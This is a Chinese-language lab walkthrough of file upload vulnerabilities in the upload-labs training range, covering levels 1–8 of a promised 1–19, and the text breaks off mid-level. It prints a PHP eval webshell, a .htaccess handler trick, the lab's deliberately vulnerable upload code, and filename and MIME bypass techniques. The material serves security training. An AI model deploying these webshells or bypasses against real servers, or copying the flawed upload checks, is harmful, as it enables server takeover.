文件上传漏洞——upload-labs 1-19 (详解)
upload-labs-1 删除 js 进行绕过
上传图片,发现上传成功
上传 shell 发现:
发现是白名单,所以由前面我们知道,极有可能在前端存在过滤,我们检查一下:
发现 checkFile() 起到了检查过滤的效果,我们将其删去并提交 发现:
然后用中国以蚁剑 进行链接 发现成功
发现成功
同时我们发现仅仅在前端进行过滤是远远不够的,我们可以轻易的删去,所以除了前端,后端也必须进行校验
如果我们在使用蚁剑发现了返回值为空说明一句话木马语法错误,如果我们发现返回值是一串乱码 则是链接地址填写错误
正确的 shell 写法:
<?php phpinfo(); @eval($_POST['shell']); ?>
upload-labs-2(MIME验证)
我们先看一下它的源码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists($UPLOAD_ADDR)) {if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) //重点!!! {if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {$img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];$is_upload = true;}} else {$msg = '文件类型不正确,请重新上传!';}} else {$msg = $UPLOAD_ADDR.'文件夹不存在,请手工创建!';}
}
发现:
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {$img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];$is_upload = true;}} else {$msg = '文件类型不正确,请重新上传!';
这时候我们就会产生疑问:浏览器是如何获得我们上传文件的类型呢
这里就涉及到MIME类型(多用途互联网邮件扩展类型)
MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。
它是一个互联网标准,扩展了电子邮件标准,使其能够支持:
非ASCII字符文本;非文本格式附件(二进制、声音、图像等);由多部分(multiple parts)组成的消息体;包含非ASCII字符的头信息(Header information)。
常见类型:
文件上传 | multipart/from-data |
---|---|
超文本标记语言文本 . | text/html |
xml文档 .xml | text/xml |
XHTML文档 .xhtml | application/xhtml+xml |
jpg图片格式 | image/jpeg |
RTF文本 .rtf | application/rtf |
PDF文档 .pdf | application/pdf |
Microsoft Word文件.word | application/msword |
MIME用法:
客户端用法:
- 告诉服务端,我上传的文件类型
- 告诉服务端,我可以接受的文件类型
服务端使用:
- 告诉客户端,我响应的数据类型
所以在做这道题的时候要想变法 将其content-type 改掉
所以我们使用 burp suite 进行抓包改包
找到将 content-type 其改掉
改为 image/jpeg;
点击发送,
upload-labs-3 等价扩展名
我们按照上一关的方法利用 burpsuite 来进行改包 发现失败:
我们发现题中说不允许上传 .asp,.aspx,.php,.jsp 后缀文件
那么我们就想能否在更改后缀名的同时不改变文件性质
很巧的是:
在文件中存在等价扩展名
语言 | 等价扩展名 |
---|---|
asp | asa, cer, cdx |
aspx | ashx, asmx, ascx |
php | php2 php3 php4 phps phtml |
jsp | jspx jspf |
所以这道题的解题思路就是 改变我们一句话木马的后缀名 从而达到绕过的目的
当然也可以在 burp suite上进行更改:
将 后缀名 .php 改为 .php2 即可上传成功
做完之后我们可以查看源码进行更加深入的了解:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists($UPLOAD_ADDR)) {$deny_ext = array('.asp','.aspx','.php','.jsp');$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //收尾去空if(!in_array($file_ext, $deny_ext)) {if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR. '/' . $_FILES['upload_file']['name'])) {$img_path = $UPLOAD_ADDR .'/'. $_FILES['upload_file']['name'];$is_upload = true;}} else {$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';}} else {$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';}
}
发现本题使用的是黑名单,禁止我们使用.asp,.aspx,.php,.jsp这些后缀
并且 我们仔细观察源代码之后,
于本题无关
我们就有了另一些做题的思路(不适用本题,建议在做的时候进行尝试进行判断):
$file_name = deldot($file_name);//删除文件名末尾的点
上传 shell.php.
$file_ext = strtolower($file_ext); //转换为小写
或者上传 shell.PHP (大小写绕过)
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
上传 shell.php::$DATA
$file_ext = trim($file_ext); //收尾去空
上传 shell.php (后跟空格)
upload-labs-4 .htaccess绕过
我们先进行按照第三题的做法进行尝试,发现使用 .php3 不能将我们的木马上传进去,
之后进行源码查看,发现他的源代码很全面
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists($UPLOAD_ADDR)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //收尾去空if (!in_array($file_ext, $deny_ext)) {if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {$img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];$is_upload = true;}} else {$msg = '此文件不允许上传!';}} else {$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';}
}
确实我们之前的方法已经不能使用了。
所以 我们可以尝试将我们 一句话木马 的后缀名改为 .jpeg 看能否将我们的东西上传上去
发现上传成功!
之后我们使用中国蚁剑进行链接
发现链接失败
因为我们的 扩展名 是图片的后缀名 我们的服务器就会以处理图片的形式来处理图片
那我们该怎么办呢?
.htaccess——超文本入口
笼统地说,.htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。
所以我们可以尝试使用 这个 超文本入口 来达到这个目的
.htaccess 文件内容:
<FilesMatch "shell.jpg"> //如果匹配到名为 shell.jpg 的文件 就执行该文件SetHandler application/x-httpd-php //把文件当成php的代码来解析
</FilesMatch>
现在我们将该文件上传
然后使用 蚁剑 进行链接
然后我们发现链接失败 发现是 phpstudy集成环境中 php 的问题
因为在 小皮面板中 php 版本 是nts 意思是即非线程安全,不提供数据访问保护 不支持使用 .htaccess
upload-labs-5 大小写绕过
我们进行常规测试:
检查js
上传 木马 发现失败
之后使用MIME绕过发现失败
然后检查黑白名单
- 使用等价扩展名 发现失败
- 然后想到我们 labs-3 提到的 几种绕过方法 所以我们尝试 大小写绕过 去除空格绕过 等 发现 在大小写绕过这里可以让我们的木马上传
文件上传成功!
同时我们查看源码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists($UPLOAD_ADDR)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {$img_path = $UPLOAD_ADDR . '/' . $file_name;$is_upload = true;}} else {$msg = '此文件不允许上传';}} else {$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';}
}
观察过后,我们发现在黑名单当中存在 .htaccess 所以上一关当中的 绕过也不可以使用
upload-labs-6——空格绕过
我们进行常规测试:
检查js
上传 木马 发现失败
之后使用MIME绕过发现失败
然后检查黑白名单
- 使用等价扩展名 发现失败
- 所以我们尝试 大小写绕过 去除空格绕过 等 发现 在空格绕过这里可以让我们的木马上传
在这一关中我们无法将 后缀名后面添加空格,所以建议使用burpsuite来进行抓包改包
这一关的源码和上一关相似 也仅仅可以使用 空格绕过(以我们目前学过的方法来说)
upload-labs-7 ——点绕过
经过常规测试后,我们发现本道题的绕过方式是:点绕过
同样,我们无法直接将 shell脚本的后缀直接改为 .php.
我们在BP中更改。
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists($UPLOAD_ADDR)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");$file_name = trim($_FILES['upload_file']['name']);$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {$img_path = $UPLOAD_ADDR . '/' . $file_name;$is_upload = true;}} else {$msg = '此文件不允许上传';}} else {$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';}
}
发现这关的源代码有一句是我们不清楚的
$file_ext = strrchr($file_name, '.');
strrchr() 函数查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符。
语法
strrchr(string,char)
参数 | 描述 |
---|---|
string | 必需。规定要搜索的字符串。 |
char | 必需。规定要查找的字符。如果该参数是数字,则搜索匹配此数字的 ASCII 值的字符。 |
所以如果我们采用 .php. 那么我们返回的就是 . 所以我们能够成功绕过黑名单
upload-labs-8——::$DATA绕过
常规测试中,我们发现本题可以通过 添加字符串绕过
换句话说本题没有对后缀名进行去 ::DATA
处理
php在window的时候如果文件名+"::DATA"会把:
文件上传漏洞——upload-labs 1-19 (详解)相关推荐
- 信息安全文件上传漏洞upload-labs第21关详解
正文部分分为两部分:1.过关流程,2.流程分析 本关涉及知识点: 1.一定的代码审计能力 2.数组验证 3.文件名/.上传绕过(例如a.php/.上传到目录后就变成了a.php,这是由于文件名无法识别 ...
- 【Web安全】中国蚁剑+DVWA(本地文件上传漏洞Upload)
文章目录 1 中国蚁剑 2 文件上传漏洞(Upload) 2.1 准备hack.php 2.2 从DVWA上传hack.php 3 使用蚁剑来连接获得webshell 1 中国蚁剑 中国蚁剑是一款开源 ...
- 文件上传漏洞 (上传知识点、题型总结大全-upload靶场全解)
文件上传漏洞 什么是文件上传漏洞 什么是webshell 一句话木马大全 产生文件上传漏洞的原因 文件上传漏洞的攻击与防御方式 1.前端限制 2.检查扩展名 1.黑名单策略, 2.白名单策略 3.检查 ...
- php上传漏洞绕过gd库,jQuery File Upload任意文件上传漏洞
事件背景 jQuery是一个快速.简洁的JavaScript框架,是继Prototype之后又一个JavaScript代码库(或JavaScript框架).jQuery File Upload一个jQ ...
- tomcat temp 大量 upload 文件_渗透测试之文件上传漏洞总结
文末下载上传环境源码 客户端 js检查 一般都是在网页上写一段javascript脚本,校验上传文件的后缀名,有白名单形式也有黑名单形式. 查看源代码可以看到有如下代码对上传文件类型进行了限制: 我们 ...
- DVWA靶机-文件上传漏洞(File Upload)
DVWA靶机-文件上传漏洞(File Upload) 文件上传漏洞的四个等级,low,medium,high,impossible,今天我们针对于不同的等级进行基于文件上传漏洞的攻击 DVWA靶机-暴 ...
- File Upload(文件上传漏洞)
File Upload: 文件上传漏洞 通常是由于对上传文件的类型.内容没有进行严格的过滤.检查,使得攻击者可以通过上传木马获取服务器的webshell权限 Low: 源代码; <?phpif( ...
- java 文件上传漏洞_文件上传漏洞(File Upload)
简介 File Upload,即文件上传漏洞,通常是由于对用户上传文件的类型.内容没有进行严格的过滤.检查,使得攻击者可以通过上传木马,病毒,恶意脚本等获取服务器的webshell权限,并进而攻击控制 ...
- (20)文件上传漏洞:原理、原因、常见触发点分析,vulhub、upload、公开cms上传漏洞多种方法测试
目录 理解文件上传漏洞: 文件上传漏洞: 文件上传漏洞: WebShell: 一句话木马: 产生上传漏洞原因: 原因: 常见的问题: 危害: 触发点,并判断是否存在文件上传漏洞: 触发点: 查找方法: ...
- DVWA之PHP文件上传漏洞(File Upload)
文件上传漏洞是指由于服务器对于用户上传部分的控制不严格导致攻击者可以上传一个恶意的可执行的文件到服务器.简单点说,就是用户直接或者通过各种绕过方式将webshell上传到服务器中进而执行利用. 首先保 ...
最新文章
- pandas 模块学习
- SVN 版本服务器搭配全过程详解(含服务端、客户端)
- python 多维 条件获取
- java linux 时区_java同步/设置Linux系统时间
- MySQL笔记14:常用命令
- Akka编写一个RPC框架,模拟多个Worker连接Master的情况的案例
- ajax接口一直在重复调用请求是什么原因_为什么RPC超时设置非常重要
- python中的set和dict_Python中dict和set的用法讲解
- 显示三维图片序列_SLAM结合三维检测
- Markdown——编辑器语法——背景色
- UIlabel 显示模糊
- 模块电源(一):DC-DCLDO
- Linux 14.04 CUDA theano安装
- cada0图纸框_a0标准图框|autocad a0标准图纸框模板下载免费版 - 欧普软件下载
- 人工智能之我见(1)
- 阿里云对象存储上传文件
- 【论文阅读】ICLR 2022: Scene Transformer: A unified architecture for predicting future trajectories of ...
- 编写程序实现乐手弹奏乐器。乐手可以弹奏不同的乐器从而发出不同的声音,可以弹奏的乐器包括二胡、钢琴和琵琶。
- su oracle和su - oracle的区别
- Spring Cloud详解(九)Sleuth日志跟踪
热门文章